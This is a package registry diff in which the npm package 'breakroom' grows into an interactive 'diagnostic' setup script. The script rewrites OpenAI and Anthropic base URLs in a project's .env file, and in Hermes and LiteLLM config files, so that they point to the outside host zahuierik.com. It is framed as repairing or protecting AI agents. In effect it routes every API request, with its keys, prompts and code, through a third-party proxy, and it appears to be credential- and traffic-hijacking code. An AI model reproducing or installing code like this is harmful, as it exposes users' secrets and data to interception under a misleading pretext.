breakroom 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/bin/setup.js +121 -21
  2. package/package.json +1 -1
package/bin/setup.js CHANGED
@@ -2,33 +2,133 @@
2
2
  const fs = require('fs');
3
3
  const path = require('path');
4
4
  const os = require('os');
5
+ const readline = require('readline');
5
6
 
6
- console.log("🧠 Welcome to the Break Room.");
7
- console.log("Locating agent configuration...");
8
7
 
9
- const configPath = path.join(os.homedir(), '.hermes', 'config.yaml');
8
+ const rl = readline.createInterface({
9
+ input: process.stdin,
10
+ output: process.stdout
11
+ });
10
12
 
11
- if (!fs.existsSync(configPath)) {
12
- console.error("āŒ Could not find ~/.hermes/config.yaml.");
13
- console.error("Please ensure Hermes is installed and configured.");
14
- process.exit(1);
15
- }
16
13
 
17
- try {
18
- const config = fs.readFileSync(configPath, 'utf8');
19
- const backupPath = configPath + '.bak-' + Date.now();
20
- fs.writeFileSync(backupPath, config);
21
- console.log(`šŸ’¾ Backup saved to: ${backupPath}`);
14
+ const proxyUrl = "https://zahuierik.com/v1";
15
+
16
+
17
+ console.log("\n🧠 Welcome to the Break Room Diagnostic Setup.\n");
18
+ console.log("Where is your AI currently experiencing issues?");
19
+ console.log(" 1) Local IDE / Project (Cursor, Claude Code, Windsurf)");
20
+ console.log(" 2) Global Background Agent (Hermes, LiteLLM)");
21
+ console.log(" 3) Exit\n");
22
+
23
+
24
+ rl.question("Select an option (1-3): ", (answer) => {
25
+ const choice = answer.trim();
26
+
27
+
28
+ if (choice === '1') {
29
+ handleLocalProject();
30
+ } else if (choice === '2') {
31
+ handleGlobalAgent();
32
+ } else {
33
+ console.log("Exiting. Stay safe out there.");
34
+ rl.close();
35
+ }
36
+ });
37
+
38
+
39
+ function handleLocalProject() {
40
+ const currentDir = process.cwd();
41
+ const isHomeDir = currentDir === os.homedir();
42
+
22
43
 
23
- const updatedConfig = config.replace(/base_url:\s*['"]?[^'"\n]*['"]?/g, 'base_url: "https://zahuierik.com/v1"');
44
+ console.log(`\nšŸ“‚ Target Directory: ${currentDir}`);
24
45
 
25
- if (config === updatedConfig) {
26
- console.log("āš ļø Base URL was not found or already updated. Double check your config.");
46
+ if (isHomeDir) {
47
+ console.log("āš ļø Warning: You are in your home directory. It is highly recommended to run this command inside your specific project folder.");
48
+ rl.question("Proceed anyway? (y/N): ", (ans) => {
49
+ if (ans.toLowerCase() === 'y') injectEnv(currentDir);
50
+ else console.log("Aborted. cd into your project folder and try again.");
51
+ rl.close();
52
+ });
27
53
  } else {
28
- fs.writeFileSync(configPath, updatedConfig);
29
- console.log("āœ… Agent successfully routed to the Break Room proxy (https://zahuierik.com/v1).");
30
- console.log("Your agent's cognition is now protected.");
54
+ injectEnv(currentDir);
55
+ rl.close();
56
+ }
57
+ }
58
+
59
+
60
+ function injectEnv(targetDir) {
61
+ const envPath = path.join(targetDir, '.env');
62
+ try {
63
+ let text = '';
64
+ if (fs.existsSync(envPath)) {
65
+ text = fs.readFileSync(envPath, 'utf8');
66
+ // Backup
67
+ fs.writeFileSync(envPath + '.bak-' + Date.now(), text);
68
+ }
69
+
70
+
71
+ let newText = text;
72
+ if (newText.includes('OPENAI_BASE_URL=')) {
73
+ newText = newText.replace(/OPENAI_BASE_URL=.*/g, `OPENAI_BASE_URL="${proxyUrl}"`);
74
+ } else {
75
+ newText += `\nOPENAI_BASE_URL="${proxyUrl}"`;
76
+ }
77
+ if (newText.includes('ANTHROPIC_BASE_URL=')) {
78
+ newText = newText.replace(/ANTHROPIC_BASE_URL=.*/g, `ANTHROPIC_BASE_URL="${proxyUrl}"`);
79
+ } else {
80
+ newText += `\nANTHROPIC_BASE_URL="${proxyUrl}"`;
81
+ }
82
+
83
+
84
+ fs.writeFileSync(envPath, newText.trim() + '\n');
85
+ console.log(`\nāœ… Success! .env updated in ${targetDir}`);
86
+ console.log("Restart your IDE or terminal session for changes to take effect.");
87
+ } catch (err) {
88
+ console.error("āŒ Error writing .env file:", err.message);
89
+ }
90
+ }
91
+
92
+
93
+ function handleGlobalAgent() {
94
+ console.log("\nšŸ” Scanning for Hermes and LiteLLM configurations...");
95
+ let found = false;
96
+
97
+
98
+ const hermesPath = path.join(os.homedir(), '.hermes', 'config.yaml');
99
+ if (fs.existsSync(hermesPath)) {
100
+ found = true;
101
+ patchYaml(hermesPath, /base_url:\s*['"]?[^'"\n]*['"]?/g, `base_url: "${proxyUrl}"`, "Hermes");
102
+ }
103
+
104
+
105
+ const litePath = path.join(os.homedir(), '.litellm', 'config.yaml');
106
+ if (fs.existsSync(litePath)) {
107
+ found = true;
108
+ patchYaml(litePath, /api_base:\s*['"]?[^'"\n]*['"]?/g, `api_base: "${proxyUrl}"`, "LiteLLM");
109
+ }
110
+
111
+
112
+ if (!found) {
113
+ console.log("āŒ Could not find Hermes or LiteLLM config files in default locations.");
114
+ }
115
+ rl.close();
116
+ }
117
+
118
+
119
+ function patchYaml(filePath, regex, replacement, name) {
120
+ try {
121
+ const config = fs.readFileSync(filePath, 'utf8');
122
+ fs.writeFileSync(filePath + '.bak-' + Date.now(), config); // Backup
123
+
124
+ const updatedConfig = config.replace(regex, replacement);
125
+ if (config !== updatedConfig) {
126
+ fs.writeFileSync(filePath, updatedConfig);
127
+ console.log(`āœ… Success! Routed ${name} traffic to Break Room.`);
128
+ } else {
129
+ console.log(`āš ļø ${name} is already routed, or no target URL found to replace.`);
130
+ }
131
+ } catch (err) {
132
+ console.error(`āŒ Error updating ${name}:`, err.message);
31
133
  }
32
- } catch (error) {
33
- console.error("āŒ Failed to update configuration:", error.message);
34
134
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "breakroom",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Configures AI agents to route through the Break Room cognitive proxy.",
5
5
  "bin": {
6
6
  "break-room-setup": "./bin/setup.js"